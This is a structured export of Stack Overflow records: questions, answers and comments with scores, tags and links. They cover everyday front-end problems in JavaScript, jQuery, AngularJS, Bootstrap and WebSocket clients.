http://stackoverflow.com/a/25824201
upvote count: 1
has comment: http://stackoverflow.com/comment/40399665
has body: Problems: Functions are not declared in a way you've done. Even if you'd done that correctly, you need to call it, for it to have effect. Solution: function demo(){ window.x = 6; //or x =6; }; demo(); // call it
has comment: http://stackoverflow.com/comment/40399688
has comment: http://stackoverflow.com/comment/40399717
answers question: http://stackoverflow.com/q/25824176
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/40399332
accepted answer of: http://stackoverflow.com/q/25824176
type: Answer
has comment: http://stackoverflow.com/comment/40399411
score: 1

http://stackoverflow.com/q/25732129
downvote count: 0
has comment: http://stackoverflow.com/comment/40231629
has answer: http://stackoverflow.com/a/25732662
tagged with: javascript
score: 1
tagged with: jquery
favorite count: 0
has comment: http://stackoverflow.com/comment/40231067
has comment: http://stackoverflow.com/comment/40230782
has comment: http://stackoverflow.com/comment/40230972
has title: Chrome flickers when scrolling with mouse wheel, relocating div to $(document).scrollTop()
accepted answer: http://stackoverflow.com/a/25732662
upvote count: 1
tagged with: google-chrome
type: AnsweredQuestion
type: Question
has body: what I am trying to achieve is a div on top of my page, which resides there even when the user scrolls the page. Seems like a common task and I found plenty of solutions on the web. The easiest way seems to be with jQuery: ("header" being the id of my div) $(window).scroll(function(){ $("#header").css({ "top": $(document).scrollTop() + "px" }); }); It works fine in Firefox! In Chrome (37.0.2062.103 m), however, I get some very weird flickering of the header div, when I scroll the page up or down with the mouse wheel. (Scrolling via keyboard, scroll bar or keeping the middle mouse button pressed works seamlessly). It seems like the repositioning of the div happens somewhat delayed, as if the page is scrolled first and then the div is moved to the new position. I would have liked to demonstrate this to you guys in JSFiddle, but when I execute it there, it works fine even in Chrome: http://jsfiddle.net/2tLgtn6c/3/embedded/result/ You can see the odd behaviour here: -- site no longer exists -- It's the exact same code as in the JSFiddle example. I am also posting it below. Any ideas, what I could try? Apparently, Chrome is indeed capable of showing it correctly, as it works within JSFiddle... Any suggestion would be greatly appreciated. Thanks, Linus index.htm: &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html lang="en"&gt; &lt;body&gt; &lt;script src="http://code.jquery.com/jquery-2.1.1.min.js"&gt;&lt;/script&gt; &lt;script src="main.js"&gt;&lt;/script&gt; &lt;/body&gt; &lt;/html&gt; main.js: function drawHorizontalHeader(width, height) { var headerDiv = document.createElement("div"); $("body").append(headerDiv); headerDiv.id = "header"; headerDiv.innerHTML = "Horizontal header."; headerDiv.style.border = "1px solid blue"; headerDiv.style.position = "absolute"; $(headerDiv).width(width); $(headerDiv).height(height); } function drawMain(width, height) { var mainDiv = document.createEl…
answer count: 1

http://stackoverflow.com/q/25738572
has answer: http://stackoverflow.com/a/25738603
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25738603
has comment: http://stackoverflow.com/comment/40243357
tagged with: javascript
tagged with: jquery
has title: how to control responsive template with jquery?
type: Question
tagged with: http://stackoverflow.com/tag/html
has body: I made a two pages of my index page One is normal page (none responsive) and second one responsive view for mobile, Tablet. Now i want to display second one page when media screen less then 1000. i wrote that jquery script &lt;script type="text/javascript"&gt; &lt;!-- if (window.screen.width &lt; 1000){ document.location = "mobile-resposive.html"; } //--&gt; &lt;/script&gt; but its couldn't work. What i have to do that. Please let me know what I'm missing? I want to display this page for every tablet and mobile.
answer count: 1
tagged with: responsive-design
score: 0

http://stackoverflow.com/comment/46550415
score: 0
type: Comment
has text: Good catch - thats what I get for not testing code in answers, although personally I prefer to use `this.forceUpdate()` when directly mutating the state object. Mostly just personal preference though. I've edited my answer to update it.
type: AnswerComment
comment on: http://stackoverflow.com/a/25818571

http://stackoverflow.com/q/25866189
tagged with: javascript
has comment: http://stackoverflow.com/comment/40482139
has answer: http://stackoverflow.com/a/26491993
tagged with: css
has body: I have an issue with my navbar on bootstrap 3. When adding an iframe onto the page it won't expand and I cannot navigate (on small screens). Maximizing the window (big screens) however shows, that the navbar is there and all items are available and clickable. Without the iframe, everything works as expected. Can anyone imagine, why? This seems rather strange to me... I'd appreciate any pointers. Cheers :-) Edit: Some code. Don't get confused by the django code fragements inside the html. They are working fine. Edit2: I also noticed now my footer isn't showing on that same page containing the iframe. commenting out the iframe and everything works. Why would that be? Noone? iframe: navbar: Toggle navigation Camerata Serena {% for page in page_list %} {% if page.titel != 'Kasse' %} {{ page.titel }} {% endif %} {% endfor %} Intern
favorite count: 0
tagged with: twitter-bootstrap
tagged with: iframe
tagged with: navbar
type: Question
has comment: http://stackoverflow.com/comment/40480715
has title: Bootstrap 3 navbar on pages containing iframes
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/26491993
upvote count: 5
score: 5
answer count: 1
downvote count: 0

http://stackoverflow.com/a/25861499
has comment: http://stackoverflow.com/comment/40522598
has comment: http://stackoverflow.com/comment/40496317
upvote count: 2
has comment: http://stackoverflow.com/comment/40524324
has comment: http://stackoverflow.com/comment/40499472
has comment: http://stackoverflow.com/comment/40522062
has comment: http://stackoverflow.com/comment/40522808
type: Answer
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25843497
has body: I have modified some parts of your code and used JavaScript's addEventListener function to add the click event listener to the button, instead of HTML's onclick attribute. So here is the code: HTML Add a design Save As you can see I have added the canvas tag (just for demo) and removed onclick of Save button. JavaScript /* Some drawing on canvas */ var canvas = document.getElementById("myCanvas"); var ctx = canvas.getContext("2d"); ctx.font = "30px Arial"; ctx.strokeText("Hello World", 10, 50); /* Get the needed elements from the DOM */ var form = document.getElementById('design'), saveButton = document.getElementById('gif'), hiddenField = document.getElementById('id_hidden_preview_field'); /* Add click listener on save button click */ saveButton.addEventListener('click', createBlob, false); /* The click handler function */ function createBlob() { var imageblob = canvas.toDataURL('image/jpeg', 0.5); hiddenField.value = imageblob; // Here we put the imageurl blob into the hidden_preview_field. // Here we submit the form with the form.submit(); } Here I added some code for drawing on canvas, fetched and cached the elements, added the event listener on save button. The createBlob is almost the same as in your code. You can check the live example here in JSFiddle. When you hit the Save button, the JSFiddle gives an error, because you can't submit forms there. BUT, if you open up the Chrome dev tools and go to the Network tab, you can see, that the request contains the blob. You can check the same in Firefox too, using Firefox dev tools or using Firebug extension (the tab name is Net).

http://stackoverflow.com/a/25796042
has body: Looks like you've missed out the closing brace in the ng-class value: ng-class='{selected: $index==selectedRow}'
type: Answer
accepted answer of: http://stackoverflow.com/q/25795946
downvote count: 0
answers question: http://stackoverflow.com/q/25795946
score: 1
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/40234414
type: Comment
score: 1
type: QuestionComment
has text: JavaScript strings are **always** UTF-16. What you're seeing is URL encoding results.
comment on: http://stackoverflow.com/q/25733882

http://stackoverflow.com/comment/108340748
comment on: http://stackoverflow.com/a/30517793
type: Comment
has text: Found a solution in the answers below. Just set `crossOrigin="anonymous"` directly on the video tag. No need to set it manually via JavaScript. After that I was able to call `toDataFrame` on a canvas that shows the current frame of the video.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40245742
type: QuestionComment
has text: Since you've tagged `jQuery`, you can try [jQuery UI Accordion](http://api.jqueryui.com/accordion/)
comment on: http://stackoverflow.com/q/25739490
score: 0
type: Comment

http://stackoverflow.com/comment/40377298
score: 0
has text: I think you should emphasize what `Promise.method` does here, it solves this problem exactly. Also, that there is no point in returning a promise `this.value` if there are no async calculations involved.
type: Comment
comment on: http://stackoverflow.com/a/25810848
type: AnswerComment

http://stackoverflow.com/comment/40456361
has text: all you need to do to see a hidden field is view the HTML source code
type: AnswerComment
comment on: http://stackoverflow.com/a/25855462
type: Comment
score: 1

http://stackoverflow.com/comment/40524494
type: QuestionComment
score: 0
has text: All timers will have minimum duration of about 15ms irrespective of language (well there are ways to get more frequently firing timers, but you'd know about it as you'd have to write code to do so. See [1ms wait](http://stackoverflow.com/questions/9891879/c-sharp-timer-for-millisecond-waits) question for info). Since normally one uses speed in units per second it generally not a problem for regular UI updates.
comment on: http://stackoverflow.com/q/25810225
type: Comment

http://stackoverflow.com/a/25779720
has body: From what i could understand.. you have three spans, two with alphabet and one empty.. a a Now you want to compare first two spans and if they have same alphabet then third one will contain 1, otherwise im putting a 0 there: if(document.getElementById('span1').innerHTML == document.getElementById('span2').innerHTML) { document.getElementById('span3').innerHTML = '1'; } else{ document.getElementById('span3').innerHTML = '0'; } See the DEMO here
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/25779485
answers question: http://stackoverflow.com/q/25779485

http://stackoverflow.com/a/45750577
has comment: http://stackoverflow.com/comment/101856913
score: 4
has body: It will only accept numeric and one dot here is the javascript &lt;script &gt; function FormatCurrency(ctrl) { //Check if arrow keys are pressed - we want to allow navigation around textbox using arrow keys if (event.keyCode == 37 || event.keyCode == 38 || event.keyCode == 39 || event.keyCode == 40) { return; } var val = ctrl.value; val = val.replace(/,/g, "") ctrl.value = ""; val += ''; x = val.split('.'); x1 = x[0]; x2 = x.length &gt; 1 ? '.' + x[1] : ''; var rgx = /(\d+)(\d{3})/; while (rgx.test(x1)) { x1 = x1.replace(rgx, '$1' + ',' + '$2'); } ctrl.value = x1 + x2; } function CheckNumeric() { return event.keyCode &gt;= 48 &amp;&amp; event.keyCode &lt;= 57 || event.keyCode == 46; } &lt;/script&gt; HTML &lt;input type="text" onkeypress="return CheckNumeric()" onkeyup="FormatCurrency(this)" /&gt; DEMO JSFIDDLE
downvote count: 0
type: Answer
upvote count: 4
answers question: http://stackoverflow.com/q/25736940

http://stackoverflow.com/q/25793221
type: Question
has body: I want to create a filter that only shows items with a matching id, at the moment it only works the other way round. What has to be changed in the function hideIds? js fiddle NG var app = angular.module('m', []); app.controller('myCtrl', function ($scope) { $scope.subtree = [{ id: 1, name: susan }, { id: 2, name: peter }, { id: 3, name: marc }, { id: 4, name: julia }, { id: 5, name: sylvia }, { id: 6, name: martin }]; var arr = [1,2,6]; $scope.hideIds = function (ids) { return function (item) { return arr.indexOf(item.id) === -1; } }; }); template
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25793291
answer count: 1
tagged with: angularjs
has title: Display items with matching id
has comment: http://stackoverflow.com/comment/40342549
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25793291

http://stackoverflow.com/q/25843646
type: Question
answer count: 1
tagged with: websocket
tagged with: javascript
has title: Websocket Javascript client onmessage won't fire
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/25899836
accepted answer: http://stackoverflow.com/a/25899836
tagged with: angularjs
tagged with: java-ee-7
has body: I'm trying to learn websocket. I started sending simple string between peers and everything was fine. Now I'm trying to send Object to my javascript client but the onmessage function never fires. Here is the code: Java serverside: @ServerEndpoint(value = "/event/{id}", encoders={PositionJSONEncoder.class}, decoders={PositionJSONDecoder.class} ) public class SocketManager { private static ConcurrentHashMap<String, Session> users = new ConcurrentHashMap<String, Session>(); @OnMessage public void onMessage(Position position, @PathParam("id") String id, Session session) { log.info("user "+id+", "+position.toString()); try { for(Entry<String, Session> entry : users.entrySet()) { if(!entry.getKey().equals(position.getUserID()) && entry.getValue().isOpen()) { entry.getValue().getBasicRemote().sendObject(position); } } } catch (EncodeException ee) { log.error(ee); } catch (IOException ioe) { log.error(ioe); } } } The serverendpoint encoder (I'll omit the decoder, server handle data correctly): public class PositionJSONEncoder implements Encoder.Text<Position>{ private Gson gson = new Gson(); public void destroy() {} public void init(EndpointConfig arg0) {} public String encode(Position arg0) throws EncodeException { return gson.toJson(arg0); } } The relevant client side (AngularJS): app.factory('socket', function() { var service = {}; service.ws = {}; service.connect = function(userID) { this.ws = new WebSocket("ws://localhost:8080/event/"+userID); }; service.disconnect = function() { if(this.ws != undefined && this.ws != null) { this.ws.onclose(); } }; service.ws.onopen = function() { // TODO }; service.ws.onmessage = function(msg) { try { alert('roba: '+JSON.parse(msg.data)); } catch(err) { alert(err.message); } }; service.ws.onclose = function() { // TODO }; service.ws.onerror = function(evt) { alert(evt.data); }; return service; }); The model the server send: public class Position { private String userID; private Float lat; private Float lng; public Position() {} public…
type: AnsweredQuestion
downvote count: 0
score: 1

http://stackoverflow.com/comment/40328741
has text: Why do you want to repeat the loop ? And how many times?
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25785793

http://stackoverflow.com/comment/40229425
has text: please remove all server code that is irrelevant to issue, also using `async:false` is a terrible practice
type: QuestionComment
comment on: http://stackoverflow.com/q/25730903
score: 1
type: Comment

http://stackoverflow.com/q/25806282
duplicate of: http://stackoverflow.com/q/8650410
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/25806300
has comment: http://stackoverflow.com/comment/40366408
possible better answer: http://stackoverflow.com/a/25806324
upvote count: 0
has body: My function: jQuery('#allForms td.edit').click(function(e){ e.preventDefault(); addTextBox(jQuery(this)); }); doesn't work for new elements which I'm creating in this way: var output = ' '+values[0]+ ' '+values[1]+ ' '+values[2]+ ' '+values[3]+ ' USUŃ '; formsList.find('tr:last').after(output); addForm.find("input").val(''); When I click at newly added element nothing happens. When I click at elements which was loaded with website all works good.
linked to: http://stackoverflow.com/q/8650410
has answer: http://stackoverflow.com/a/25806324
tagged with: javascript
tagged with: jquery
score: -1
has title: jQuery function ready for new elements
has comment: http://stackoverflow.com/comment/40366216
favorite count: 0
has answer: http://stackoverflow.com/a/25806300
has comment: http://stackoverflow.com/comment/40366256
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40366200
downvote count: 1

http://stackoverflow.com/comment/40299225
type: AnswerComment
has text: @JohnDoe yes, it was typo it should've been `.value(...)` , fixed answer.
type: Comment
comment on: http://stackoverflow.com/a/25767726
score: 0

http://stackoverflow.com/comment/40464305
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25859482
type: AnswerComment
has text: The idea is only the Base be a model to my another classes, if i do a copy of this.config in init of another classes is a bad solution?

http://stackoverflow.com/comment/40200256
type: QuestionComment
score: 1
has text: `"3"` is not the same as `3`, and `","` is definitely not the same as `1`.
comment on: http://stackoverflow.com/q/25715835
type: Comment

http://stackoverflow.com/comment/40345639
comment on: http://stackoverflow.com/q/25793999
has text: @LcSalazar *I meant the box, sorry for any confusion...
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40361337
score: 0
has text: Good thinking Mouhamad , but its not working for me, getting error in `find`
comment on: http://stackoverflow.com/a/25803186
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/40302194
has text: Don't think all the replacements are equal here. At one place /\\ is replaced with only /, then \\ is replaced with / and again \\\\ is replaced with /. Its not clear what the actual objective is
comment on: http://stackoverflow.com/q/25770464
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25791535
type: UnansweredQuestion
tagged with: google-chrome
has comment: http://stackoverflow.com/comment/40340184
has title: what's a cross-browser compatible method for searching xml docs?
type: Question
linked to: http://stackoverflow.com/q/853740
tagged with: domparser
has comment: http://stackoverflow.com/comment/40353092
tagged with: firefox
has body: I'm trying to search for a specific node in an xml document; unfortunately, i can't seem to find a reliable way to do this, correctly, in a crossbrowser fashion. Given this setup: var test1 = "&lt;?xml version=\"1.0\" encoding=\"UTF-8\"?&gt;&lt;test:things&gt;\"things\"&lt;/test:things&gt;" var parser=new DOMParser(); var test2 =parser.parseFromString(test1,"text/xml"); in firefox this seems to work properly: &gt; $(test2).find("test\\:things") [&lt;test:things&gt;​…​&lt;/test:things&gt;​] in chrome this seems to work properly: &gt; $(test2).find("things") [&lt;test:things&gt;​…​&lt;/test:things&gt;​] haven't tried farther than that - is there a cross-browser safe method for performing this search? i'd rather not have to write two searches each time i need this functionality
tagged with: javascript
tagged with: jquery
score: 0
has comment: http://stackoverflow.com/comment/40339334
has comment: http://stackoverflow.com/comment/40339169
answer count: 0

http://stackoverflow.com/comment/40457749
has text: Try something like `$('#formID .bottom img').each(function() { $(this).attr('src', localStorage.getItem($(this).attr('name'))); });`
type: Comment
comment on: http://stackoverflow.com/q/25854385
score: 0
type: QuestionComment

http://stackoverflow.com/q/25769272
tagged with: jquery-ui-sortable
has body: Fiddle Example I was trying to prevent duplicated items from being dragged into #sort2 from #sort by using a condition to check if there were identical items based on their title attributes in #sort2. If there was a duplicated, it would remove the old one before appending the new one $("#sort2").sortable({ receive: function (e, ui) { var title = ui.item.attr('title'); var img = $('#sort2').find('img[title="'+title+'"]'); console.log(title); if(img.length) { img.remove(); } ui.sender.data('copied', true); } }); But my attempt didn't work, it just removes any item as soon as it is being dragged into #sort2. Can anyone show me how to do that? $("#sort").sortable({ connectWith: ".connectedSortable", helper: function (e, li) { this.copyHelper = li.clone().insertAfter(li); $(this).data('copied', false); return li.clone(); }, stop: function () { var copied = $(this).data('copied'); if (!copied) { this.copyHelper.remove(); } this.copyHelper = null; } }); $("#sort2").sortable({ receive: function (e, ui) { var title = ui.item.attr('title'); var img = $('#sort2').find('img[title="'+title+'"]'); console.log(title); if(img.length) { img.remove(); } ui.sender.data('copied', true); } }); $('#sort2').on('click','img',function(){ $(this).remove(); }); HTML: &lt;div class='connectedSortable' id='sort'&gt; &lt;img title='AAA' src='http://upload.wikimedia.org/wikipedia/commons/7/7f/Wikipedia-logo-en.png'/&gt; &lt;img title='BBB' src='http://upload.wikimedia.org/wikipedia/commons/thumb/4/4c/Wikisource-logo.svg/32px-Wikisource-logo.svg.png'/&gt; &lt;/div&gt; &lt;div class='connectedSortable' id='sort2'&gt;&lt;/div&gt;
tagged with: jquery-ui
tagged with: javascript
tagged with: jquery
upvote count: 3
tagged with: http://stackoverflow.com/tag/html
answer count: 1
favorite count: 0
has title: prevent duplicated item in jQueryUI sortable
type: AnsweredQuestion
score: 3
downvote count: 0
has answer: http://stackoverflow.com/a/25769781
accepted answer: http://stackoverflow.com/a/25769781
type: Question

http://stackoverflow.com/comment/40382700
type: QuestionComment
has text: You could use modals instead of alerts, like what bootstrap uses.
comment on: http://stackoverflow.com/q/25815023
score: 1
type: Comment

http://stackoverflow.com/a/25719392
type: AcceptedAnswer
downvote count: 0
has body: .when('page/:pages', { templateUrl: function(routeParams) { return 'views/' + routeParams.pages + '.html'; } })... change when url like this ?
has comment: http://stackoverflow.com/comment/40207090
has comment: http://stackoverflow.com/comment/40241953
type: Answer
has comment: http://stackoverflow.com/comment/40241855
has comment: http://stackoverflow.com/comment/40242290
accepted answer of: http://stackoverflow.com/q/25719333
upvote count: 3
has comment: http://stackoverflow.com/comment/40211715
has comment: http://stackoverflow.com/comment/40241884
answers question: http://stackoverflow.com/q/25719333
has comment: http://stackoverflow.com/comment/40207045
score: 3

http://stackoverflow.com/comment/40217333
comment on: http://stackoverflow.com/q/25724849
score: 0
type: QuestionComment
type: Comment
has text: Yes, I tried and saw non observable properties, when changed, do not trigger subscriptions or bindings on parent observable. There is not any way to prevent update to "bubble" to parent observable so?

http://stackoverflow.com/comment/40378839
has text: Put the invisible scroll box inside an overflow hidden div that is narrower(to hide the scrollbar) then use a setTimeout/clearTimeout combo with the on scroll listener to reset your scroll position to produce a fake infinity effect
score: 0
comment on: http://stackoverflow.com/q/25812509
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25778938
tagged with: karma-runner
downvote count: 0
has comment: http://stackoverflow.com/comment/40318868
type: Question
tagged with: angularjs-directive
score: 5
has title: Angular 1.2.24: Testing directive throws undefined in scope.$digest();
tagged with: javascript
tagged with: angularjs-scope
has body: I've just installed AngularJS 1.2.24 and I'm trying to test my directive. The code looks like follows: describe('scenarios', function () { var scope, compile; beforeEach(module("app")); beforeEach(module("src/widgets/tt-header/header.html")); beforeEach(inject(function ($compile, $rootScope) { scope = $rootScope.$new(); compile = $compile; })); function directive() { var el = angular.element('&lt;div tt-header /&gt;'); compile(el)(scope); scope.$digest(); return el; } it('should load the directive', function () { var el = directive(); expect(el).not.toBe(undefined); }); }); Then, when I run the test I get the following message during execution of scope.$digest(): PhantomJS 1.9.7 (Mac OS X) tt-header scenarios should load the tt-header directive FAILED TypeError: 'undefined' is not a function (evaluating '$browser.$$checkUrlChange()') at /Users/alansouza/tt-workspace/tt-app-angular/vendor/angular/angular.js:12502 at ttHeader (/Users/alansouza/tt-workspace/tt-app-angular/tests/widgets/tt-header/tt-header-specs.js:20) at /Users/alansouza/tt-workspace/tt-app-angular/tests/widgets/tt-header/tt-header-specs.js:27 It seems to be something related to url changes in the browser. I compared to previous versions and this seems a new code to me. I tried to revert to my previous working version 1.2.21 and everything works fine. Am I doing something wrong here?
answer count: 1
favorite count: 0
has comment: http://stackoverflow.com/comment/40344324
upvote count: 5
tagged with: angularjs
has answer: http://stackoverflow.com/a/25795209
accepted answer: http://stackoverflow.com/a/25795209
has comment: http://stackoverflow.com/comment/40345026
type: AnsweredQuestion

http://stackoverflow.com/a/25854446
downvote count: 0
has body: You need to store a number if you want an average. There aren't any type-conversion functions available that could let you map from a string representation of a number to a number. $min and $max work because there is an order defined on each BSON type (including strings) and between different BSON types, so MongoDB can always find the maximum value of any field.
answers question: http://stackoverflow.com/q/25853557
type: Answer
accepted answer of: http://stackoverflow.com/q/25853557
upvote count: 4
score: 4
type: AcceptedAnswer

http://stackoverflow.com/comment/40466488
score: 0
comment on: http://stackoverflow.com/a/25860822
has text: Hi Leo I am going over your answer and trying to get it into perspective. If you have time could you please see my updated question above as well. I have posted an updated code to show better what I am doing and how it works. Thanks for the help so far
type: Comment
type: AnswerComment

http://stackoverflow.com/a/25806101
type: Answer
score: 1
upvote count: 1
has body: 1) For button not to submit form, you have to specify it's type: 2) Your problem can be solved few ways: a) Save all values on clicking Next to session and when returning to page, just save all values. Your inputs than will look something like <input type='text' value='<?php echo isset($_SESSION['a1']) ? $_SESSION['a1'] : ''; ?>' name='a1'/>; In PHP side: $_SESSION['a1'] = isset($_POST['a1']) ? $_POST['a1'] : '';. In last confirmation step you save values from last form + values from session to database and clear your session. b) You can use single form with tabs in it and only show specific tab with jQuery/js: First step tab Content of first step tab $('.tab').click(function(){ $('.tabContent').hide(); $($(this).data('ref')).show(); }); And only save all data at last step. I personally would take b variant
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25805692
answers question: http://stackoverflow.com/q/25805692
has comment: http://stackoverflow.com/comment/40368340
type: AcceptedAnswer

http://stackoverflow.com/q/25859729
tagged with: css
has answer: http://stackoverflow.com/a/25859786
has answer: http://stackoverflow.com/a/25860697
possible better answer: http://stackoverflow.com/a/25859786
has title: Changing div background color with Javascript
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25859747
type: Question
has body: I have photo gallery. Every photo is placed in small div. I wanted to make effect when i click on photo, to make this div red color and it works already. But now i want the red div color change back into white when i click on it again. It would be some kind of selection effect I tried to improve my js code myself but i am very bad in it and it doesnt work Here is how my photos are displayed from the loop echo '&lt;div class="thisphotobox" id="'.$photoid.'"&gt;&lt;img src="'.$numphotos['link'].'" alt="photo" class="photolink" style="background-color:white" onclick="clicked('.$photoid.');"&gt;&lt;/div&gt;'; And this is my function function clicked(photoid){ var divcolor = document.getElementById(photoid.toString()).backgroundColor; if (divcolor = "white"){ document.getElementById(photoid.toString()).style.backgroundColor = 'red'; } else { document.getElementById(photoid.toString()).style.backgroundColor = 'white'; } } It changes into red but not into white. What do i do? Please help me :D
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25859747
score: 0
answer count: 3

http://stackoverflow.com/comment/40258063
type: AnswerComment
has text: #1 is a very valid point. I had considered this but decided that it would be a minor cost given the convenience.
type: Comment
comment on: http://stackoverflow.com/a/25746702
score: 0

http://stackoverflow.com/comment/40550488
type: Comment
comment on: http://stackoverflow.com/a/25893745
type: AnswerComment
has text: I didn't quite get your question. Refactor your test? Well, actually you have to change it to work with my proposed solution. Better tests improve design? Most of the times, yes. Just happened here. You had a pain point in the test that led to a better design with less coupling between `Play` and `PusherCom`, now the latter being injected into the former. `Play` doesn't need to know how anything about `PusherCom`, all it needs is an object that responds to the `lobbyEvent` method. How you know its better? Loose coupling is one trait. The code will be easier to maintain and cope with changes.
score: 0

http://stackoverflow.com/comment/40489103
comment on: http://stackoverflow.com/q/25873074
has text: personally I think there is something else wrong. Create a demo that replicates problem
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/40252211
has text: Thanks for the suggestions. I also had it working in fiddle, but locally I was having problems. It does however seems to work in Chrome. Also no errors in the console for any browsers. I feel like it has something to do with document loading. I get different behavior when loading the physics.js script locally and remotely as well. The docs make no mention of needing to wait for a 'ready' event, but I'll try it anyway.
type: Comment
comment on: http://stackoverflow.com/q/25735451
score: 0
type: QuestionComment

http://stackoverflow.com/q/25865525
upvote count: 3
type: UnansweredQuestion
has body: I have recently started using JsFormValidatorBundle to validate my forms on symfony. The only issue is that i need to send these forms with Ajax and unfortunately for some reason the JsFormValidatorBundle forces the form to be sent by reloading the page. So now i am trying to override that function which looks like: function FpJsCustomizeMethods() { ... this.submitForm = function (event) { //noinspection JSCheckFunctionSignatures FpJsFormValidator.each(this, function (item) { var element = item.jsFormValidator; if (event) { event.preventDefault(); } element.validateRecursively(); if (FpJsFormValidator.ajax.queue) { if (event) { event.preventDefault(); } FpJsFormValidator.ajax.callbacks.push(function () { element.onValidate.apply(element.domNode, [FpJsFormValidator.getAllErrors(element, {}), event]); if (element.isValid()) { item.submit(); } }); } else { element.onValidate.apply(element.domNode, [FpJsFormValidator.getAllErrors(element, {}), event]); if (element.isValid()) { item.submit(); } } }); }; .... } if i remove the item.submit() it works perfectly. So how can override this? full script
has answer: http://stackoverflow.com/a/26162672
downvote count: 1
score: 2
has answer: http://stackoverflow.com/a/26263657
has title: Overriding a Method in Javascript
type: Question
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25865673
tagged with: ajax
answer count: 3
tagged with: symfony
favorite count: 0

http://stackoverflow.com/a/25722207
type: Answer
score: 1
accepted answer of: http://stackoverflow.com/q/25720938
upvote count: 1
answers question: http://stackoverflow.com/q/25720938
has comment: http://stackoverflow.com/comment/40212964
has body: First of all, that part of code is properly wrong: scores = []; for(i in donorArray){ score = parseFloat(donorArray[i].score); score = Math.round(score * 100) / 100; } I don't see any score in your donorArray objects, also, it will overwrite score, to become number/string, not adding to the array. Should be rather: scores = []; var temp; for(i in donorArray){ temp = parseFloat(donorArray[i].score); scores.push(Math.round(temp * 100) / 100); } Now, as @Abdul Jabbar said, your data format is just wrong. Doesn't suit Highcharts formats. Working example: http://jsfiddle.net/2ra0gnd0/2/ and code: scores = []; var temp; var point; var dataForChart = []; for(i in donorArray){ point = donorArray[i]; temp = parseFloat(donorArray[i].score); scores.push(Math.round(temp * 100) / 100); dataForChart.push({ x: point.x, id: point.id, y: parseFloat(point.y), z: parseFloat(point.z), url: point.url }); } And last thing, to be fixed, is series: series: { data: donorArray } Should be of course an array of objects, not an object, so should be: series: [{ data: dataForChart }]
has comment: http://stackoverflow.com/comment/40213010
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40387229
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25817200
has text: So, could you just not have the onclick event change the input? Seems like a simple fix?
score: 0

http://stackoverflow.com/comment/40277186
has text: That's the fun part about JavaScript. It's really flexible for that kind of stuff. Good luck!
type: Comment
comment on: http://stackoverflow.com/a/25756950
score: 0
type: AnswerComment

http://stackoverflow.com/a/25851956
answers question: http://stackoverflow.com/q/25851568
score: 0
downvote count: 1
type: Answer
has body: I don't think there's a good solution for your question other than using a function expression with explicit arity. Underscore/Lodash don't have methods for fixing the arity of a function, which makes their partial and especially partialRight functions hard to use. You might want to have a look at Ramda instead. However, for your use case you don't need such anyway. The appropriate tool is _.invoke: function pathFrom(parts) { return _.invoke(parts, 'toString').join('/'); }
has comment: http://stackoverflow.com/comment/40453224
accepted answer of: http://stackoverflow.com/q/25851568
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/40259451
type: Comment
has text: Thanks.. I wasn't really sure if this was that clear. most angular scope issues i see on SO do seem to boil down to the difference in behavior between getting and setting a scope variable so I've given a similar answer a few times.
comment on: http://stackoverflow.com/a/25747528
type: AnswerComment
score: 0

graphics
tag name: graphics
type: Tag
tags question: http://stackoverflow.com/q/25835669

http://stackoverflow.com/a/25724327
downvote count: 0
accepted answer of: http://stackoverflow.com/q/25724295
answers question: http://stackoverflow.com/q/25724295
has body: var loc; if(this.flightdetails.route_details.length &gt; 0) { $.each(this.flightdetails.posreports, function(i, nav) { loc = new google.maps.LatLng(nav.latitude, nav.longitude); // Rest of code path[path.length] = loc; focus_bounds.extend(loc); }); } console.log(loc);
upvote count: 2
type: AcceptedAnswer
type: Answer
score: 2

http://stackoverflow.com/q/25855758
has comment: http://stackoverflow.com/comment/40822836
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/40802305
has comment: http://stackoverflow.com/comment/40701410
has title: Showing uploaded image after successful upload
has comment: http://stackoverflow.com/comment/40828471
tagged with: ruby-on-rails
type: Question
has comment: http://stackoverflow.com/comment/40802412
has answer: http://stackoverflow.com/a/26037840
tagged with: javascript
tagged with: carrierwave
has comment: http://stackoverflow.com/comment/40458520
score: 0
has answer: http://stackoverflow.com/a/26038832
answer count: 2
has comment: http://stackoverflow.com/comment/40783309
has comment: http://stackoverflow.com/comment/40596222
tagged with: jquery
tagged with: ajax
has comment: http://stackoverflow.com/comment/40732642
